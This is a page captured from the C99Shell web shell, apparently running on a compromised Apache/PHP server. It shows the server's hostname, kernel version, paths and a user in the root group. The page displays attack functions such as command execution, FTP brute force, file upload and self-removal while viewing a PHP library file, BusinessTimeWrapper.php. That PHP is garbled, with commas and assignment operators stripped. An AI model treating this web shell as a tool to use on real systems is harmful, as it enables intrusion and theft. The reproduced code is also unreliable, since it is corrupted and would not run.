!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/cmixin/business-time/src/BusinessTime/   drwxr-xr-x
Free 28.41 GB of 117.98 GB (24.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BusinessTimeWrapper.php (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace BusinessTime;

use 
BadMethodCallException;
use 
Carbon\CarbonImmutable;
use 
Carbon\CarbonInterface;
use 
Cmixin\BusinessTime;

final class 
BusinessTimeWrapper extends BusinessTime
{
    
/** @var array|null */
    
private $methods null;

    public static function 
create(array $openingHours): self
    
{
        
$businessTime = new self();
        
$parser = new DefinitionParser($businessTime$openingHours, function ($date) {
            if (
$date instanceof CarbonInterface) {
                try {
                    
$hasMacro $date->hasLocalMacro('isHoliday');
                } catch (
BadMethodCallException $exception) {
                    
$hasMacro false;
                }

                if (
$hasMacro) {
                    return 
$date->isHoliday();
                }
            }

            
$className method_exists(static::class, 'instance') ? static::class : CarbonImmutable::class;

            return 
$className::instance($date)->isHoliday();
        });
        
$openingHours $parser->getEmbeddedOpeningHours($businessTime);
        
$businessTime->openingHours $openingHours;
        
$region $openingHours->getData()[self::HOLIDAYS_OPTION_KEY][self::REGION_OPTION_KEY] ?? null;
        
$with $openingHours->getData()[self::HOLIDAYS_OPTION_KEY][self::ADDITIONAL_HOLIDAYS_OPTION_KEY] ?? null;
        
$without $openingHours->getData()[self::HOLIDAYS_OPTION_KEY]['without'] ?? null;

        if (
$region) {
            (
$businessTime->setHolidaysRegion())($region);

            if (
$with || $without) {
                (
$businessTime->addHolidays())($region$with$without);
            }
        }

        return 
$businessTime;
    }

    public function 
getMethods(): array
    {
        if (
$this->methods !== null) {
            return 
$this->methods;
        }

        
$this->methods = [];

        foreach (
get_class_methods(parent::class) as $method) {
            if (
substr($method02) === '__') {
                continue;
            }

            
$this->methods[$method] = $this->$method();
        }

        return 
$this->methods;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0151 ]--